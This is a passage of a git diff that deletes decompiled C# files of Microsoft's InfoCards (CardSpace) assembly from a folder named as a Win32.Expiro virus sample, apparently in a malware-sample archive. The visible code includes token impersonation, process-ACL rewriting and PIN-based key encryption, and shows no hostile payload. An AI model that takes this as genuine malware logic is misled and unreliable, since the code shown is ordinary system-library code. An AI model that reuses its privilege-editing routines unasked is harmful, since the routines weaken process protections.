(IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsCardSpaceTcserverInstance(int pid, string trustedUserSid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - ushort* numPtr = (ushort*) 0; - IntPtr hglobal = IntPtr.Zero; - try - { - voidPtr1 = \u003CModule\u003E.OpenProcess(1024U, 0, (uint) pid); - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - if (\u003CModule\u003E.OpenProcessToken(voidPtr1, 8U, &voidPtr2) != 0) - { - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr2, (_TOKEN_INFORMATION_CLASS) 4, (void*) &arrayTypeBy0EeE, 68U, &num) != 0) - { - _TOKEN_OWNER* tokenOwnerPtr = (_TOKEN_OWNER*) &arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (\u003CModule\u003E.ConvertSidToStringSidW((void*) ^(int&) ref arrayTypeBy0EeE, &numPtr) != 0) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - flag = 0 == \u003CModule\u003E._wcsnicmp((ushort*) hglobal.ToPointer(), numPtr, 68U); - } - } - } - } - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.LocalFree((void*) numPtr); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (IntPtr.Zero != hglobal) - Marshal.FreeHGlobal(hglobal); - } - return flag; - } - - public static unsafe void AddSystemAccessToProcess(IntPtr RpcHandle, uint callerPid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - void* voidPtr2 = (void*) 0; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 68; - try - { - uint error1 = (uint) \u003CModule\u003E.RpcImpersonateClient(RpcHandle.ToPointer()); - if (0U != error1) - throw new Win32Exception((int) error1); - flag = true; - voidPtr1 = \u003CModule\u003E.OpenProcess(393216U, 0, callerPid); - if (IntPtr.Zero == (IntPtr) voidPtr1) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr2); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 22, (void*) 0, (void*) &arrayTypeBy0EeE, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 2035711; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0EeE; - uint error2 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error2) - throw new Win32Exception((int) error2); - uint error3 = \u003CModule\u003E.SetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error3) - throw new Win32Exception((int) error3); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.LocalFree(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (flag) - \u003CModule\u003E.RpcRevertToSelf(); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool PathSupportsPersistedSecurity(string path) - { - bool flag = false; - string pathRoot = Path.GetPathRoot(path); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - GCHandle gcHandle = GCHandle.Alloc((object) pathRoot, GCHandleType.Pinned); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG1; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG1, 0, 522); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG2; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG2, 0, 522); - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - if (\u003CModule\u003E.GetVolumeInformationW((ushort*) gcHandle.AddrOfPinnedObject().ToPointer(), (ushort*) &arrayTypeBy0BafG1, 261U, &num1, &num2, &num3, (ushort*) &arrayTypeBy0BafG2, 261U) != 0) - { - if (((int) num3 & 8) != 0) - flag = true; - gcHandle.Free(); - } - else - { - gcHandle.Free(); - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMethods.cs deleted file mode 100644 index d50afded..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMethods.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal static class NativeMethods - { - public const int E_BUSY = -2147024825; - public const int ERROR_ACCESS_DENIED = 5; - public const int ERROR_NOT_ENOUGH_MEMORY = 8; - public const int ERROR_OUTOFMEMORY = 14; - public const int E_NOTIMPL = -2147467263; - public const int E_ACCESSDENIED = -2147024891; - public const int COR_E_APPLICATION = -2146232832; - public const int COR_E_ARGUMENT = -2147024809; - public const int ERROR_INVALID_DATA = 13; - public const int CRYPTPROTECT_LOCAL_MACHINE = 4; - public const int CRYPTPROTECT_UI_FORBIDDEN = 1; - public const int CRYPTPROTECT_NO_RECOVERY = 32; - public const int CRYPTPROTECT_VERIFY_PROTECTION = 64; - public const int CRYPTPROTECT_AUDIT = 16; - public const int CRYPTPROTECTMEMORY_SAME_PROCESS = 0; - public const int CRYPTPROTECTMEMORY_CROSS_PROCESS = 1; - public const int CRYPTPROTECTMEMORY_SAME_LOGON = 2; - public const int EVENT_MODIFY_STATE = 2; - public const int PROCESS_DUP_HANDLE = 64; - public const int TOKEN_QUERY = 8; - public const int TOKEN_IMPERSONATE = 4; - public const int TOKEN_DUPLICATE = 2; - public const int TOKEN_ASSIGN_PRIMARY = 1; - public const int TOKEN_ALL_ACCESS = 511; - public const uint WAIT_TIMEOUT = 258; - public const uint WAIT_ABANDONED = 128; - public const uint WAIT_FAILED = 4294967295; - public const int CSIDL_LOCAL_APPDATA = 28; - public const int SHGFP_TYPE_CURRENT = 0; - public const int MAX_PATH = 260; - public const int MUTEX_MODIFY_STATE = 2; - public const int SYNCHRONIZE = 1048576; - public const int FILE_PERSISTENT_ACLS = 8; - public const int ERROR_CANCELLED = 1223; - public const int SM_TABLETPC = 86; - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptProtectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), In] string szDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptUnprotectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder ppszDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcImpersonateClient([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcRevertToSelfEx([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint I_RpcBindingInqLocalClientPID([In] IntPtr rpcBindingHandle, out uint pid); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool RevertToSelf(); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ImpersonateLoggedOnUser([In] IntPtr hToken); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ProcessIdToSessionId([In] int pid, out int tSSession); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern SafeNativeHandle OpenProcess( - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int processId); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool DuplicateHandle( - [In] SafeNativeHandle sourceProcessHandle, - [In] SafeWaitHandle sourceHandle, - [In] SafeNativeHandle targetProcessHandle, - out SafeWaitHandle targetHandle, - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int options); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr LocalFree(IntPtr hMem); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptDecrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptEncrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length, - [In] uint bufLength); - - [DllImport("Kernel32.dll", EntryPoint = "RtlZeroMemory", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern void ZeroMemory([In] IntPtr dest, [In] int size); - - [DllImport("Crypt32.dll", EntryPoint = "CertGetNameStringW", CharSet = CharSet.Unicode)] - public static extern int CertGetNameString( - IntPtr pCertContext, - int dwType, - int dwFlags, - [MarshalAs(UnmanagedType.LPStr), In] string pvTypePara, - [Out] StringBuilder pszNameString, - int cchNameString); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode)] - public static extern int WTSGetActiveConsoleSessionId(); - - [DllImport("user32.dll", CharSet = CharSet.Unicode)] - public static extern int GetSystemMetrics(int nIndex); - - public enum SecurityImpersonationLevel - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation, - } - - public sealed class SafeHandleOnlyMethods - { - private SafeHandleOnlyMethods() - { - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CloseHandle([In] IntPtr handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/OptionalRstParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/OptionalRstParameters.cs deleted file mode 100644 index 907ecf0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/OptionalRstParameters.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.OptionalRstParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class OptionalRstParameters - { - private string m_tokenType = string.Empty; - private string m_signatureAlgorithm; - private string m_encryptionAlgorithm; - private string m_canonicalizationAlgorithm; - private string m_signWith; - private string m_encryptWith; - private string m_keyWrapAlgorithm; - - public static OptionalRstParameters CreateMergedParameters( - OptionalRstParameters primary, - OptionalRstParameters secondary) - { - return new OptionalRstParameters() - { - m_canonicalizationAlgorithm = !string.IsNullOrEmpty(primary.m_canonicalizationAlgorithm) ? primary.m_canonicalizationAlgorithm : secondary.m_canonicalizationAlgorithm, - m_encryptionAlgorithm = !string.IsNullOrEmpty(primary.m_encryptionAlgorithm) ? primary.m_encryptionAlgorithm : secondary.m_encryptionAlgorithm, - m_encryptWith = !string.IsNullOrEmpty(primary.m_encryptWith) ? primary.m_encryptWith : secondary.m_encryptWith, - m_keyWrapAlgorithm = !string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) || !string.IsNullOrEmpty(secondary.m_keyWrapAlgorithm) ? (!string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) ? primary.m_keyWrapAlgorithm : secondary.m_keyWrapAlgorithm) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm, - m_signatureAlgorithm = !string.IsNullOrEmpty(primary.m_signatureAlgorithm) ? primary.m_signatureAlgorithm : secondary.m_signatureAlgorithm, - m_signWith = !string.IsNullOrEmpty(primary.m_signWith) ? primary.m_signWith : secondary.m_signWith, - m_tokenType = !string.IsNullOrEmpty(primary.m_tokenType) ? primary.m_tokenType : secondary.m_tokenType - }; - } - - public string SignatureAlgorithm - { - get => this.m_signatureAlgorithm; - set => this.m_signatureAlgorithm = value; - } - - public string EncryptionAlgorithm - { - get => this.m_encryptionAlgorithm; - set => this.m_encryptionAlgorithm = value; - } - - public string SignWith - { - get => this.m_signWith; - set => this.m_signWith = value; - } - - public string EncryptWith - { - get => this.m_encryptWith; - set => this.m_encryptWith = value; - } - - public string CanonicalizationAlgorithm - { - get => this.m_canonicalizationAlgorithm; - set => this.m_canonicalizationAlgorithm = value; - } - - public string KeyWrapAlgorithm - { - get => this.m_keyWrapAlgorithm; - set => this.m_keyWrapAlgorithm = value; - } - - public string TokenType - { - get => this.m_tokenType; - set => this.m_tokenType = value; - } - - public void WritePassOnElements(XmlDictionaryWriter writer, ProtocolProfile profile) - { - string defaultPrefix = profile.WSTrust.DefaultPrefix; - if (!string.IsNullOrEmpty(this.TokenType)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.TokenType, profile.WSTrust.Namespace); - writer.WriteString(this.TokenType); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.SignatureAlgorithm)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.SignatureAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.SignatureAlgorithm); - writer.WriteEndElement(); - } - if (string.IsNullOrEmpty(this.CanonicalizationAlgorithm)) - return; - writer.WriteStartElement(defaultPrefix, profile.WSTrust.CanonicalizationAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.CanonicalizationAlgorithm); - writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ParsedPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ParsedPolicy.cs deleted file mode 100644 index 1cd42b91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ParsedPolicy.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ParsedPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ParsedPolicy - { - private string m_policyXmlOriginal; - private string m_policyXmlPrimary; - private string m_policyXmlSecondary; - private PolicyType m_policyType; - - public string PolicyXmlOriginal => this.m_policyXmlOriginal; - - public string PolicyXmlPrimary => this.m_policyXmlPrimary; - - public string PolicyXmlSecondary => this.m_policyXmlSecondary; - - public PolicyType PolicyType => this.m_policyType; - - public ParsedPolicy( - string policyXmlOriginal, - string policyXmlPrimary, - string policyXmlSecondary) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(policyXmlOriginal), "Original Policy Xml cannot be null or empty"); - this.m_policyXmlOriginal = policyXmlOriginal; - this.m_policyXmlPrimary = policyXmlPrimary; - this.m_policyXmlSecondary = policyXmlSecondary; - if (!string.IsNullOrEmpty(policyXmlPrimary) && string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.PrimaryOnly; - else if (!string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.Composite; - else if (string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.SecondaryOnly; - else - InfoCardTrace.Assert(false, "Both policies cannot be empty"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PasswordValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PasswordValidationException.cs deleted file mode 100644 index c13e2853..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PasswordValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PasswordValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PasswordValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413878; - - public PasswordValidationException() - : base(-1073413878) - { - } - - public PasswordValidationException(string message) - : base(-1073413878, message) - { - } - - public PasswordValidationException(string message, Exception inner) - : base(-1073413878, message, inner) - { - } - - protected PasswordValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413878, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PinProtectionHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PinProtectionHelper.cs deleted file mode 100644 index 60bbdc9e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PinProtectionHelper.cs +++ /dev/null @@ -1,133 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PinProtectionHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class PinProtectionHelper - { - private const int InfoCardPKCS5IterationCount = 1000; - public const int SaltSize = 16; - private const int AESBlockByteLength = 16; - private const int AESKeyByteLength = 32; - private const byte EncryptForPinProtectionVersion = 2; - private const int VersionOffset = 0; - private const int SaltOffset = 1; - private const int IterationsOffset = 17; - private const int IVOffset = 21; - private const int EncryptedDataOffset = 37; - private PasswordDeriveBytes m_pkcs5; - private byte[] m_key; - private RijndaelManaged m_aes = new RijndaelManaged(); - - public PinProtectionHelper(string pin) - { - RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider(); - byte[] numArray = new byte[16]; - cryptoServiceProvider.GetBytes(numArray); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", 1000); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - this.m_aes.GenerateIV(); - } - - public PinProtectionHelper(string pin, byte[] serializedParameters) - { - if ((byte) 2 != serializedParameters[0]) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"))); - byte[] numArray = new byte[16]; - Array.Copy((Array) serializedParameters, 1, (Array) numArray, 0, 16); - uint uint32 = BitConverter.ToUInt32(serializedParameters, 17); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", (int) uint32); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - byte[] destinationArray = new byte[16]; - Array.Copy((Array) serializedParameters, 21, (Array) destinationArray, 0, destinationArray.Length); - this.m_aes.IV = destinationArray; - } - - public byte[] EncryptMasterKey(byte[] toEncrypt) - { - byte[] buffer = this.Encrypt(toEncrypt); - using (MemoryStream memoryStream = new MemoryStream()) - { - memoryStream.WriteByte((byte) 2); - memoryStream.Write(this.m_pkcs5.Salt, 0, this.m_pkcs5.Salt.Length); - memoryStream.Write(BitConverter.GetBytes((uint) this.m_pkcs5.IterationCount), 0, 4); - memoryStream.Write(this.m_aes.IV, 0, this.m_aes.IV.Length); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - } - - public static int EncryptedMasterKeySize => 85; - - public byte[] Encrypt(byte[] toEncrypt) - { - using (ICryptoTransform encryptor = this.m_aes.CreateEncryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write)) - { - cryptoStream.Write(toEncrypt, 0, toEncrypt.Length); - cryptoStream.FlushFinalBlock(); - return memoryStream.ToArray(); - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardEncryptionFailed"), (Exception) ex)); - } - } - } - } - - public byte[] DecryptMasterKey(byte[] toDecrypt) - { - byte[] numArray = new byte[toDecrypt.Length - 37]; - Array.Copy((Array) toDecrypt, 37, (Array) numArray, 0, toDecrypt.Length - 37); - return this.Decrypt(numArray); - } - - public byte[] Decrypt(byte[] encrypted) - { - using (ICryptoTransform decryptor = this.m_aes.CreateDecryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream(encrypted)) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - byte[] numArray = new byte[encrypted.Length]; - int length = cryptoStream.Read(numArray, 0, numArray.Length); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) numArray, (Array) destinationArray, length); - return destinationArray; - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"), (Exception) ex)); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Policy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Policy.cs deleted file mode 100644 index a80796b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Policy.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Policy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.ServiceModel; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class Policy - { - private string m_policyXml = string.Empty; - private string[] m_requiredClaimUris; - private string[] m_optionalClaimUris; - private uint m_keySize; - private bool m_keySizeSpecified; - private bool m_keyTypeSpecified; - private SecurityKeyTypeInternal m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - private string m_requestType; - private MemoryStream m_unprocessedPolicyElements; - private OptionalRstParameters m_optionalRstParams = new OptionalRstParameters(); - private EndpointAddress m_policyAppliesToEpr; - private bool m_nonWhiteListElementFound; - private List m_nonWhiteListElements = new List(); - private ProtocolProfile m_protocolProfile; - - private Policy() - { - } - - public Policy(string originalPolicyXml, string rstPolicyXml) - { - this.m_policyXml = originalPolicyXml; - this.ParsePolicyXml(rstPolicyXml); - } - - public static Policy CreateMergedPolicy( - string originalPolicyXml, - Policy primary, - Policy secondary) - { - Policy mergedPolicy = new Policy(); - mergedPolicy.m_policyXml = originalPolicyXml; - mergedPolicy.m_requiredClaimUris = primary.m_requiredClaimUris != null ? primary.m_requiredClaimUris : secondary.m_requiredClaimUris; - mergedPolicy.m_optionalClaimUris = primary.m_optionalClaimUris != null ? primary.m_optionalClaimUris : secondary.m_optionalClaimUris; - mergedPolicy.m_requestType = !string.IsNullOrEmpty(primary.m_requestType) ? primary.m_requestType : secondary.m_requestType; - mergedPolicy.m_unprocessedPolicyElements = 